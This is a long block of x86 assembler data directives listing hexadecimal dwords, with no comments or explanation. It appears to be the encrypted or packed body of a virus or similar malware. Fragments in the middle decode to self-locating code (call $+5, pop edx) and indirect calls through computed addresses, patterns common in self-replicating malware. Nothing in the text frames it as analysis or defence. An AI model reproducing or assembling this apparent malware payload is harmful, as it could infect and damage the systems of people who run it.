dd 0B582CADDh, 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h
dd 9E23CD56h, 8FB4DB4Eh, 0B12EB0DFh, 0FED037B9h, 55EA79D3h
dd 9AD1F153h, 4795EBD4h, 17B13253h, 4A33F556h, 0D5B4DB79h
dd 8BB13246h, 0CF3A5295h, 0BF5E691Dh, 29B10DD5h, 0BECEB175h
dd 0D4BA4654h, 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h
dd 7D43D956h, 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh
dd 8FB13256h, 0B44BD8D7h, 0C73A37B9h, 0BF5E69F5h, 0D4B977DDh
dd 0D33B150h, 53B4DD0Dh, 0AF73FB37h, 0D5595256h, 0B0B13256h
dd 2AAFD8D7h, 83A37B9h, 585E69C9h, 0F512806Dh, 6CC537B9h
dd 743A0CDDh, 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh
dd 0D83A7115h, 0AB58114Fh, 57A4BFDDh, 738A37BFh, 0C8A3B24h
dd 2C323721h, 4E78D952h, 33B94699h, 0B4B127EBh, 0CF06D953h
dd 57595295h, 0F1B13256h, 8AC7D8D7h, 503A37B9h, 705E69C9h
dd 0BAB032EFh, 0AE710156h, 3133B9FDh, 0DEB4DD0Dh, 44EA91D4h
dd 0B5725353h, 0EAB132BEh, 9F306856h, 0BF5E6DF6h, 5354B790h
dd 0C6E737BFh, 83AE5F6Fh, 0B54C87A9h, 503C37BFh, 0EF5D4839h
dd 25E3E2A9h, 0BA31323Eh, 0A2B15856h, 41EA79E4h, 0F61CD53h
dd 2BB15A0Ch, 0D5DB3256h, 0B12E80A9h, 0A54E37B9h, 31E4F137h
dd 5D5952BAh, 0F4B13256h, 85FD8D7h, 0DE3A37B9h, 0D729DA5Eh
dd 15E43256h, 9AEA69C4h, 0CF8A6F53h, 0B55F475Ah, 0AEB130D0h
dd 5F73FB37h, 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h
dd 0DA93D8D7h, 283A37B9h, 0BECCB95Eh, 60596401h, 0A0B13256h
dd 5E904696h, 784E67AEh, 705E690Dh, 0B6C4090Bh, 0D6D72022h
dd 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h, 24D4FDFh
dd 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h, 25E4325Ah, 0AF75B1BAh
dd 0F8E06401h, 0D5497791h, 2DB13256h, 9AEAB9D4h, 0BAB13353h
dd 55C4B956h, 25AFB930h, 0B8EA79ECh, 0A3EEB953h, 0DAC5E95Dh
dd 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h, 55312CDDh
dd 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h, 7A5AC9D6h
dd 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h, 31353DB5h
dd 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h, 0A63054A6h
dd 2ABEB259h, 57B132C7h, 2B41D1D6h, 51BE42ADh, 0EAB132D3h
dd 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h, 239C0CD6h
dd 0C38FB26Eh, 574E0122h, 0EF5E69DDh, 0F5AFB930h, 3BD7CAB1h
dd 2959B3ADh, 0B03A5476h, 3141D5D6h, 6B30C9D7h, 80D12122h
dd 0B1EAA0A9h, 0FCEC37B9h, 39D0CE13h, 28B0CE2Bh, 770BB935h
dd 7B4DB72h, 0F03AB0DDh, 0E98837B9h, 0BAC36A66h, 5A5088DDh
dd 31E137BFh, 0B2EAB9D4h, 9E8D0B53h, 0BC8C4D0Eh, 53F4F546h
dd 0D5B13254h, 0AF7635BDh, 75B133AEh, 0F10BB956h, 0D6B4DD0Dh
dd 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h, 0B7B23122h
dd 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h, 0DCAFB930h
dd 50313E2Bh, 55BB46BDh, 1131C2B5h, 9EA74626h, 53B6F464h
dd 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh, 0D2765456h
dd 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h, 0AEB13256h
dd 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h, 13BF47C6h
dd 2A4E4CD7h, 0B6B346C6h, 4576B952h, 0F033BF09h, 0FBB4DD0Dh
dd 8A23CD00h, 0E1B4DD0Dh, 0FEBB4696h, 1D03BF9Eh, 0B6B4DD0Dh
dd 603A6446h, 0C23CD03h, 0F6B4DD0Dh, 0C46FC7Dh, 12CCB108h
dd 0C5A14757h, 2D7981Fh, 0F6D7B759h, 0AFF78459h, 0D4AAD9FDh
dd 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh, 0FC073DFDh
dd 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh, 0B55DB903h
dd 0EAB132BEh, 9F306856h, 0BF5E50D6h, 0D4B977DDh, 41EA61D4h
dd 95785353h, 20E43252h, 2D75B1BAh, 0EAB1DA36h, 0F4EB3256h
dd 55D393BCh, 0A5F4F553h, 0AEB13256h, 574D7791h, 98B13256h
dd 0CB3A5496h, 0B13AB091h, 75B037B9h, 3BD73256h, 2821A2ADh
dd 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh, 0EAB132A8h
dd 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h, 58313DADh
dd 0ABB1D7D2h, 0C8333156h, 0AAB4DB74h, 7A53C9D6h, 0BAB1FCD2h
dd 0BE4AB256h, 0AE0DB659h, 0D6D73256h, 0A45255ADh, 0D5B188D2h
dd 1A52B256h, 7AC1C9D6h, 0BAB187D2h, 433A5456h, 2E49D1D6h
dd 10C58AADh, 0DFB40CD6h, 0F88FB214h, 0D4310F22h, 3589463Eh
dd 0E13AB0A9h, 0D6D737B9h, 5656B248h, 0D64AB330h, 0CD9546BEh
dd 32312CDDh, 113054A6h, 62C5F2D7h, 284E6736h, 585E690Dh
dd 52F4BB0Bh, 0ABCCB137h, 83343D57h, 5EB13257h, 395EBECh
dd 0F73A6253h, 0BF5E69DDh, 5810E6Fh, 0AFA0B059h, 0ED3A3256h
dd 0AE581DB7h, 5E33B906h, 0D3B4DD0Dh, 7AE9026Ah, 0BAB1C8D9h
dd 120BB956h, 2DB4DD0Dh, 0B8EA7DD4h, 9C382653h, 85A175DFh
dd 0B13AB0DDh, 693A37B9h, 0E5386A66h, 5D64DB5Eh, 0EB763256h
dd 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h, 705E6919h
dd 0E1FEB0D5h, 0D4A537B9h, 0BEF6BB61h, 22B2CAD5h, 2033F55Ah
dd 0D7B4DD0Dh, 1B13256h, 7749B153h, 0C7326D2Bh, 46C532AEh
dd 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh
dd 9D323256h, 0E9BAD953h, 63AA8DDh, 0AA3A37B9h, 57186965h
dd 0DE313256h, 56773142h
dd 68B23796h, 705E69DDh, 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h
dd 0D469C590h, 29B23796h, 0D05E69DDh, 0E2F6BB1Eh, 9EBD75DFh
dd 30710168h, 0DD193310h, 68B21323h, 0ECB3F2D5h, 0ABB13257h
dd 0DCC5E95Dh, 4AAEA8DCh, 963137B8h, 33723157h, 1A383A11h
dd 59A5D95Ah, 574E178Eh, 6D9A3256h, 1532EAA1h, 0E2F6BB54h
dd 8DBD75DFh, 0EF72FB37h, 9932DEDDh, 0AE5952AAh, 0DB13256h
dd 0CF03D8D7h, 6F3A37B9h, 0EF5E691Dh, 4A32FB65h, 78353D56h
dd 0D6B13256h, 0A2C4CD51h, 7B947A9h, 0ABB041BEh, 56B44156h
dd 85A2691h, 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah
dd 5726B059h, 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h
dd 0BAB54DD5h, 22323A22h, 0ACC5325Ah, 0A8093CBDh, 124ECDA9h
dd 0D5B13253h, 295A99A5h, 70A14DD5h, 0C5323D22h, 4CC43446h
dd 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh
dd 4EBD6DDDh, 0AFC43A09h, 59E6B904h, 0ADA1677Dh, 83A2603h
dd 286B195Ah, 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h
dd 883B3153h, 2DB4DB5Ah, 22B22229h, 729A7357h, 0D4B06EDFh
dd 154ECDEEh, 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h
dd 0DCE43246h, 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 9AD4AFBCh
dd 0F10BB953h, 6EB4DD0Dh, 0AE8EB19Fh, 5720B659h, 0AC3A3256h
dd 2ABD47A9h, 2E13A23h, 75B132DEh, 7D323725h, 0D453D942h
dd 0DB4ECE13h, 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch
dd 16C3356Fh, 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h
dd 544E8A58h, 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h
dd 4DCEB159h, 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh
dd 0F95A3E09h, 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h
dd 7CF03323h, 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h
dd 0DB36D9FDh, 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h
dd 0A2A1776Dh, 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h
dd 46D1CE92h, 57B13256h, 0D85BB30Ch, 0E6B4DD30h, 636A019Fh
dd 0CF3ACE0Bh, 0BF5E691Dh, 29B10DD5h, 518EB132h, 90323723h
dd 2840D942h, 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh
dd 0B6A5F5D5h, 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h
dd 0E6EEB952h, 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h
dd 0D4B56D7Dh, 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah
dd 454ECDA9h, 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh
dd 0D5596107h, 0B0B13256h, 134FD8D7h, 203C37B9h, 585E6935h
dd 0AEB156EEh, 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h
dd 76A64097h, 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 94C7A8DBh
dd 784E37B9h, 4F3C3ABDh, 0EF5EF4CAh, 2CEAE1A9h, 31E4F10Eh
dd 5DB1DABAh, 2FEB3256h, 0B8D67FBCh, 113C5253h, 0D05E6935h
dd 63B977DDh, 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah
dd 36A175DFh, 0ABA1F09Fh, 3034F436h, 0ADB4DB58h, 62C2283Eh
dd 4704CDFEh, 0D0B4DB48h, 42CB5DD3h, 561CD53h, 0F03EB8DBh
dd 2AE037B9h, 683C6886h, 705E69D9h, 0B6F18559h, 52E3EADDh
dd 6DB26867h, 5AD4B0DFh, 0C3D037BFh, 0E85251h, 5A000000h
dd 67BEEA81h, 8B5205EFh, 0E90D6582h, 4E6DB905h, 0E1F741C6h
dd 3039055Ah, 0FF250000h, 897FFFFFh, 0E90D6582h, 0C3595A05h
dd 0E85251h, 5A000000h, 67EEEA81h, 0C88B05EFh, 0FFFFBBE8h
dd 0F7D233FFh, 5AC28BF1h, 0C08BC359h, 858DC08Bh, 5EF5DFFh
dd 8B66D0FFh, 0B7858DC1h, 8905EF67h, 0E9102985h, 0E7858D05h
dd 8905EF67h, 0E92CED85h, 0B805h, 0C00B0000h, 47840Fh
dd 85C60000h, 5E90EE5h, 30DF6856h, 0B5FFA9C5h, 5E91EFDh
dd 7A6F858Dh, 0D0FF05ECh, 498D8D50h, 5105E927h, 68046Ah
dd 0FF000010h, 0E90769B5h, 8BD0FF05h, 0E90769BDh, 3C7F0305h
dd 0F8C781h, 47C70000h, 2024h, 0B59D8D60h, 8B05E92Eh, 0FC00B03h
dd 584h, 89008B00h, 0F6B90443h, 0E800234Ch, 7, 0FEFB7514h
dd 5107B7E1h, 595FD180h, 2CC08158h, 66000074h, 1A75EE81h
dd 148BDB33h, 81FB8B18h, 61B76FC2h, 81F88B52h, 87F2D4C2h
dd 6C8FBE30h, 0EA8151B2h, 5487B085h, 0B870Fh, 0F600000h
dd 8Dh, 0FB8B6600h, 0BF0F5261h, 18048FFAh, 2820Fh, 0E88A0000h
dd 1A890Fh, 0E9600000h, 0Fh, 75FF9BD7h, 867D4C74h, 5EE4FCB1h
dd 66347D5Ah, 61582EBFh, 1E48EB81h, 0AE81C50h, 47000000h
dd 5F1A21F4h, 0ABC17978h, 0FE9CBh, 0E85F0000h, 21866D22h
dd 8DA85874h, 0EBC1B9D0h, 0C3815F70h, 1C501E44h, 11E8h
dd 0AD3E1500h, 0B7DAEB63h, 0C8C40A36h, 8C30A825h, 0E86004E0h
dd 0Eh, 10F0E90Ch, 0EA3775A8h, 904EA4A5h, 0F5F3BA9h, 8Ah
dd 815F6100h, 0FF8CBCFBh, 33850FFFh, 0BEFFFFFFh, 4D651C3Fh
dd 6A8D8D8Dh, 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 0CEB84DC3h, 0E3A54313h, 3C5E781h
dd 8D892927h, 5E92655h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 91C35545h, 80585C7h, 5C4405E9h, 0B5890000h
dd 5E906A5h, 1EB58D89h, 85C705E9h, 5E9163Dh, 0
dd 12718D29h, 0DE905E9h, 0E5000000h, 40EEA232h, 41268708h
dd 46ABB689h, 321DB5FFh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 95C06FC3h, 0C890FCBh
dd 0F000000h, 68Bh, 890F00h, 0FF000000h, 0E90BC595h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0E4F1F7CCh, 0A2BC60FDh, 6E888h, 49010000h, 0A900AD9Dh
dd 25598529h, 6A5E05E9h, 9595FF00h, 8B05E91Eh, 2A0EEBC0h
dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h, 5E812h, 374B0000h
dd 0E92D6C70h, 7, 0B59BC557h, 5E040921h, 2B919501h, 0C68105E9h
dd 6E97h, 6830Fh, 8D8B0000h, 5E93219h, 68h, 13E900h, 4AF30000h
dd 4BAB297h, 146BE337h, 0F77DAFCCh, 8CE43A18h, 95295874h
dd 5E90685h, 13034FFh, 0E924F19Dh, 0BD8B5B05h, 5E926EDh
dd 118EB81h, 9E92D5Ch, 0A3000000h, 0B8AE2369h, 114CE839h
dd 0EC6DEB81h, 8D890379h, 5E90D19h, 0D4B4EB81h, 0F53077Dh
dd 48FC8B7h, 0F61B206h, 0E883D7BFh, 0B0B96601h, 484848E7h
dd 0AF3BF281h, 0F88149F1h, 0FFFF9228h, 0FFA2850Fh, 12E9FFFFh
dd 22000000h, 9C335550h, 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch
dd 8EB7Dh, 98000000h, 0E96983C3h, 4C7h, 0EF6C8D68h, 1475E905h
dd 0EF68FFFAh, 0E905EF6Ch, 0FFFA146Bh, 0EF6E7368h, 1461E905h
dd 0ED2DFFFAh, 87C3A9C6h, 18553B58h, 0ABE6CCE9h, 37755B78h
dd 0F7EBEF0Ch, 35527DBBh, 0CAE70E4Fh, 5D7AA5E4h, 0ED0A3D77h
dd 0CD913F20h, 0D1132671h, 84C29A78h, 2D672B59h, 4CA4DDFAh
dd 0CE8B39DCh, 0C81C321Ch, 0E08EAF52h, 1320149Eh, 81AFE21Ch
dd 4CE95FB7h, 71AF8994h, 0B14E1846h, 2014CBF7h, 0EA8B2C13h
dd 26D91FC1h, 3251145h, 84D70000h, 0FF3E1843h, 54D223D4h
dd 9159F361h, 0F363BBF4h, 3D812F50h, 0BD16C985h, 81F74F82h
dd 0E409B7E4h, 2A1C3283h, 5B7C85B4h, 208BE9ADh, 0E27FF513h
dd 47A55328h, 84F44C66h, 1B233E1h, 4271E4BDh, 3B895FB8h
dd 3F7DD994h, 7F1CE614h, 0E2F9279Dh, 56771A8Ah, 0ACC4E6A8h
dd 0D572E8EBh, 0CFFBFAA8h, 0F7FE157h, 0AF73A1D4h, 89E5476Eh
dd 25EF1D4Ch, 0C4620C3h, 9CD6BCD9h, 0D9072E6Fh, 217CAD0Fh
dd 2E76E7B5h, 2F47A36h, 0F5350000h, 8FCBB1CEh, 205D4360h
dd 0B3EED4F1h, 3F7D6380h, 0EFF3F714h, 3D5A85C3h, 0D2EF1657h
dd 6582ADECh, 0F512457Fh, 0D5994728h, 0D9132676h, 176FA280h
dd 0EE2A04A7h, 47F522BFh, 1C343F2Dh, 825CFF75h, 16FC1944h
dd 747FADD8h, 8F2C5F9Ah, 0ACA02ED5h, 3367063h, 640825D2h
dd 0BE7A7275h, 292h, 4F6C93D3h, 0E1FE2D69h, 728FBEFBh
dd 11E518Ch, 95B2DD1Bh, 2B695191h, 0BCFDE300h, 53927895h
dd 0EB250B28h, 0EDCE9BB8h, 26767F3Fh, 48267F13h, 3366A17Bh
dd 659E3B05h, 3867A30Dh, 0C6EA1DCh, 3FD1BB69h, 62191C34h
dd 2671F2B4h, 2486FC13h, 71645EF6h, 0FA931326h, 2B8DD8CBh
dd 0CE6BC489h, 5281DC99h, 28AB5D5Ah, 0A6E27B5Fh, 8AB2FFB0h
dd 0D79745E8h, 0D71326F9h, 3BE5C461h, 29452030h, 0B5E3124Fh
dd 2183B6F1h, 1A96384h, 0C2290000h, 63275588h, 3A2FA729h
dd 4F8A497Eh, 3F97D0EDh, 0F17E2CCFh, 7D1C3288h, 508A6407h
dd 8825EF1Dh, 0A70A38D0h, 0CC6D1320h, 0E593B4A9h, 1320A7A1h
dd 3B1AB72Dh, 45266E95h, 588Bh, 3C785200h, 7815DF0Dh, 0A7176F4Ah
dd 294D5604h, 43B91C32h, 8DD17FA0h, 0B813200Bh, 5B37AE86h
dd 73E941ADh, 0BC861ED6h, 0BB1320F0h, 0DB0E4822h, 3F6C093Eh
dd 45263D91h, 349D5483h, 15726770h, 0AB5778h, 0FD1E0000h
dd 20B70F4Fh, 214C8B13h, 0EF1A59C9h, 0F895F7C1h, 66A17BCAh
dd 9E3B0533h, 64FC7EB8h, 7FD8E910h, 0F2195AB6h, 609E6290h
dd 0CDFC0735h, 0E59943B2h, 3016B36Bh, 0D195C3F6h, 1A476497h
dd 9DD90640h, 0B56F0C6Eh, 16C9BBAFh, 254275AFh, 812494ECh
dd 2F2DFED3h, 7BB8281Ch, 0F2541E4Ch, 0C37754Fh, 0A0CB09EFh
dd 897DC86Fh, 530F0769h, 10Eh, 0CBE80F4Fh, 5D7AA9E5h, 0EE0B3A77h
dd 7D9ACD08h, 112E5997h, 9FDDD50Dh, 30715774h, 0C706EC09h
dd 5F997F9Ch, 61420F2Ch, 2674F3B3h, 0C4A2FB13h, 3C5984C2h
dd 0CCE91C56h, 5B88C29Eh, 0F5BFED20h, 0AAC1F093h, 8C9F79FAh
dd 0E4A860FDh, 0B3D477AAh, 0C9314105h, 7BD74D16h, 0CA710E41h
dd 5B82C39Dh, 12C0632Dh, 16C9314Ch, 63FDC52h, 0ED9B3EAEh
dd 1C327780h, 0DBB558CEh, 0A6D3709Fh, 0F0B66485h, 0FE13207Fh
dd 0C705EB88h, 0D73964A2h, 7C5E8DBAh, 4D0DCDE2h, 0EED48E2Bh
dd 141320DDh, 0E304A7DAh, 20DD7135h, 6A077D13h, 749FDDC3h
dd 5C8A46h, 7BCA0000h, 8B37BA4Ch, 12AFB40Dh, 6E1181D9h
dd 3450D0C0h, 76A41A1Ch, 0C4B78B2h, 35627FE1h, 1E206614h
dd 38AE1326h, 487BB59Bh, 40EE0F1Ah, 13261E7Eh, 0B36D0A80h
dd 0F75B8390h, 980C698Ch, 280E2B5Eh, 0C98DBBEEh, 492D5B8Eh
dd 0C701A3D2h, 57917794h, 33AF624h, 7A000000h, 82C233A1h
dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h, 0BBF9BDEBh
dd 639E6290h, 13E0230h, 0A4E0A4D2h, 83864775h, 0C8904ECh
dd 81E18924h, 4C1h, 4E98300h, 5C240C87h, 5E08950h, 4, 8704E883h
dd 895C2404h, 8951241Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h
dd 243C895Ch, 2D11ADBBh, 21B95135h, 910D51Ch, 0E3C159CBh
dd 21F38102h, 68D21B1Dh, 6225h, 83242489h, 5F042404h, 56F68h
dd 242C8900h, 6F89DD89h, 34FF5D08h, 0C4835F24h, 241C8B04h
dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFA0FBFh
dd 2B4A4F66h, 0B8FA0C14h, 5EF6FA6h, 0E0FFC503h, 792B859Eh
dd 14BF0053h, 0B289AC8h, 2E8CFB6Ah, 531BB681h, 7E19120Eh
dd 6C066FCCh, 559489h, 5F505F6Bh, 50E9B02Ah, 68881C6Bh
dd 0B0DC75Dh, 48009FAFh, 793F42A4h, 589CED48h, 62ABE3F2h
dd 471912DDh, 565FD161h, 2ADFB60Ah, 13B6A2B5h, 1232427Ah
dd 3E0D1176h, 71A3E43Fh, 69A6A630h, 5B3514DDh, 31D09727h
dd 20E286C8h, 435B3FAEh, 4844D457h, 0BE8h, 0F64F4200h
dd 0D77F8448h, 0B40E39B6h, 59C6B70Fh, 0DE9h, 0E1C4E900h
dd 44A8097Dh, 481F52C4h, 0C18183E7h, 5937h, 0F633E38Ah
dd 38CC8060h, 0D2F68166h, 148B6191h, 0DFBF0F31h, 0CA83C281h
dd 12E97FC6h, 20000000h, 0C35FAB95h, 0EED2B7C6h, 0D48C44B0h
dd 6A108220h, 88C281F9h, 665FE66Ah, 819FDDBBh, 0C0D203C2h
dd 21A5BB37h, 1489774Fh, 0DE8BB831h, 0EE837C09h, 81B3B704h
dd 0FFA774FEh, 11850FFFh, 0F8000000h, 23E9h, 0FCD59800h
dd 9A50A1A8h, 1B635D57h, 0E9DF8B66h, 0FFFFFF96h, 674AE348h
dd 105757C4h, 4315BBA9h, 0BCCD4D07h, 88D408EBh, 6BFCh
dd 0AE90000h, 6800000Bh, 5EF72F8h, 0FAD89CE9h, 73D668FFh
dd 92E905EFh, 68FFFAD8h, 5EF75A1h, 0FAD888E9h, 768968FFh
dd 7EE905EFh, 68FFFAD8h, 5EF7829h, 0FAD874E9h, 7A0B68FFh
dd 6AE905EFh, 68FFFAD8h, 5EF7B18h, 0FAD860E9h, 16D535FFh
dd 0E59E0447h, 0B970D316h, 8843A7EAh, 5A1176B9h, 2BBEC68Bh
dd 0F93C0BC6h, 0CF12E198h, 9FE2B168h, 2AAF7E3Dh, 86E4CEC9h
dd 698FD851h, 5F97F974h, 371E3EFDh
dd 2083BF24h, 0A6C6AC69h, 0C7DA87C8h, 0BC22961h, 6A482EEBh
dd 3D24E345h, 15D79D06h, 3D1B0B12h, 0E74E61EAh, 0AAE45230h
dd 623B7259h, 2204EA55h, 0E5E04B29h, 0E3A8FC84h, 0AD5A175Dh
dd 0FF715954h, 0D41AD854h, 0FFC5E9F6h, 26E6D854h, 0C5D47755h
dd 0D2E5D88Ch, 0D1CCB36Ch, 0D854F7E9h, 0BF6E4C92h, 27h
dd 25DEB020h, 8BE433Eh, 0FA0DE3A8h, 3D23E097h, 0CB88CE5Fh
dd 57E6567Ch, 0F8B979D8h, 8BB2410Ah, 0AC32D8h, 0F9930000h
dd 0BC23E097h, 78DF9C57h, 376E5516h, 4C9B6D35h, 52937186h
dd 3D289EBh, 0BEA218D8h, 22D93BDDh, 0EDAE1053h, 740E8030h
dd 0B197540Fh, 0CAAFAA91h, 0BBE3A844h, 0C41DA675h, 5776E1C9h
dd 66448AD8h, 866D86F8h, 0F1D9D42Dh, 9AD85775h, 964DB354h
dd 2DC3ABB8h, 66ACE643h, 4B086C7Fh, 8AEF026Dh, 58BD00CFh
dd 76FAEA1h, 0F6B9CBD2h, 8D786h, 0EAA10100h, 0B972D81Bh
dd 8544A7EAh, 540F73B6h, 26DD4285h, 0F7F29257h, 0C508D792h
dd 93D6A564h, 63A6752Ch, 0F67B4A01h, 85309A95h, 355BD851h
dd 0DD94F940h, 0B269CB0Eh, 0DEB08CE3h, 0BE433E25h, 0E7E3A808h
dd 2995E4A1h, 0C6D857E6h, 7FE6A364h, 4FA46118h, 29FEB603h
dd 449D2869h, 57E66149h, 0E6C40AD8h, 8BB2B398h, 0BCC0D8h
dd 0F9210000h, 0E6F9E097h, 0F0FEC384h, 4890D856h, 0D17EBF9Dh
dd 0BE205ABEh, 3A20DDFDh, 17D2375Ch, 0E1550B5Ah, 0C6EDDBEh
dd 0BCF37C4Bh, 0E8DEC97Eh, 527755D7h, 3D5037F0h, 7F6522D9h
dd 0A0B360A1h, 33A17F3Ch, 0C8C3AA5Bh, 0E3A838D3h, 33BF8ED4h
dd 0C8C3AA5Bh, 0E643E9CDh, 9AAD94DAh, 35A07E35h, 3706BD22h
dd 0E1D48FF4h, 0CBD3C644h, 0F9AF1FE2h, 23000007h, 0F63908C3h
dd 0C508D790h, 91D4A362h, 64A7762Dh, 0B07544FFh, 0F9B015D4h
dd 0C386E72Ah, 934AB1F4h, 681F81C4h, 0B8B31499h, 0D851840Eh
dd 0F95E5379h, 0CB0EDD94h, 0B8CBB269h, 0F7B21357h, 726D1AD7h
dd 0DDBEF748h, 0EFCDED33h, 97F9459Ch, 83E6F9E0h, 3EA5E6C4h
dd 0DB341BDCh, 0BEF7F6E0h, 0EDAC0DDDh, 0F73D4A30h, 443AC619h
dd 4FB1C4ABh, 456747F3h, 0F2F9B06h, 0D188EB52h, 6D68D3B1h
dd 0E3A84BB8h, 2B3C7E69h, 0A4C846A4h, 57EC01A9h, 4246AD8h
dd 5EC027E4h, 298BCE9Dh, 0F2D990F1h, 57ECCFF7h, 5272B8D8h
dd 1B94695h, 7C0860ECh, 0C94F63Fh, 91C9A911h, 6C8CD250h
dd 89312C85h, 0F25091C9h, 387BCEACh, 95815D6h, 5091C9A4h
dd 0A86D2E1Ch, 2DB68546h, 20FEB51Ah, 0FD6199FBh, 83A38946h
dd 0C94677C6h, 95995091h, 0EEAD0FC4h, 407ADC1Fh, 8940A1D9h
dd 0DC8C4969h, 6F6A51A2h, 6E8722E2h, 53664D93h, 937936EDh
dd 0B8D662B5h, 88A85FC6h, 0D13548A1h, 0C27F3699h, 19FFBCDCh
dd 948F3732h, 0B2F84EA6h, 9BD6C7D4h, 89CF70BFh, 0D2E81FCCh
dd 0BA4FDA5Ah, 32AB0F4Bh, 9481A96Dh, 0A504A9B6h, 0E5A544BFh
dd 0F153694h, 0A25E6BA4h, 0BF000003h, 7B1327B4h, 374AA38Ah
dd 763598D0h, 0F6B3D3B9h, 5C253210h, 2BE3A805h, 3CF9B218h
dd 0A1E77856h, 0F1EC45D6h, 0D857F8C9h, 0F8F5DDD8h, 589ED857h
dd 1A27054Bh, 5B24C6F4h, 4C33CCC2h, 5FF76051h, 0EF521965h
dd 75957B38h, 7D7608B8h, 71A49B96h, 0E4F16F4Ah, 738DC1E9h
dd 4464AA4Fh, 0B0AB045Dh, 4F738D06h, 284D2B71h, 0F33605C6h
dd 30E7DA91h, 0DE52CA46h, 62EAB1Bh, 0F8580000h, 0BB216433h
dd 8FF23504h, 62C609D8h, 3297DAA9h, 0A1E3A877h, 5928E348h
dd 27F6B516h, 0F7C67DE4h, 0CA9952B4h, 0C1E9E445h, 0AAD85182h
dd 5AB38F84h, 57F8D123h, 0B942DCF7h, 0DDBE5F11h, 0E856347Ah
dd 1D765D96h, 5FE1C9C4h, 7D8ADDBEh, 0BE5E5882h, 0DDFD43DDh
dd 0AA35F2FFh, 0A8EEE3A8h, 0E3828AC1h, 0AD4E8006h, 0C5278ECFh
dd 7B9A443Fh, 0BF05D857h, 517DE29Fh, 0F30C8200h, 3CA0B30Ch
dd 3BDCC27Fh, 313E1CD7h, 0E6418F74h, 0D518E72Dh, 90F7B473h
dd 2CB06D2Eh, 852D2881h, 0EED66C6Eh, 5F1CCAA8h, 0A4733496h
dd 753A1338h, 27760DEh, 0B0C10000h, 433E25DEh, 0E3AE680Ah
dd 8942A6B9h, 0EDD41AABh, 0EFBE75DAh, 0A58C47ACh, 8669514Ch
dd 0CC12D851h, 735EADEEh, 90D85186h, 317A6D2Eh, 67C5E84Dh
dd 54634A4h, 10700000h, 0D3397C4Bh, 0A70A4D1Ch, 7ADE21F0h
dd 4AAFF2C1h, 89FBC08Fh, 7140FB60h, 3F0ECD2Eh, 0FDE95FCh
dd 0E2B16ACCh, 0D901FC5Dh, 0C2D85181h, 0DEB0A79Ch, 0D2E53E25h
dd 0CDDAB86Fh, 0E3AE6874h, 74D7EA43h, 85822CB5h, 0A7EDD851h
dd 0A7138C9h, 0F6B36CD2h, 0E09F010h, 0D85185A4h, 0AC6989CFh
dd 5524E345h, 10F7B012h, 8512BCB7h, 377DD851h, 4FB11859h
dd 537AB198h, 3CF75B1Bh, 0A7568A77h, 160488C9h, 66134A45h
dd 21898476h, 4AD85152h, 76A03F04h, 6F2CE74Ch, 90A46989h
dd 0BFFE18B1h, 56B8DDBBh, 0F15AC695h, 82D891F8h, 191h
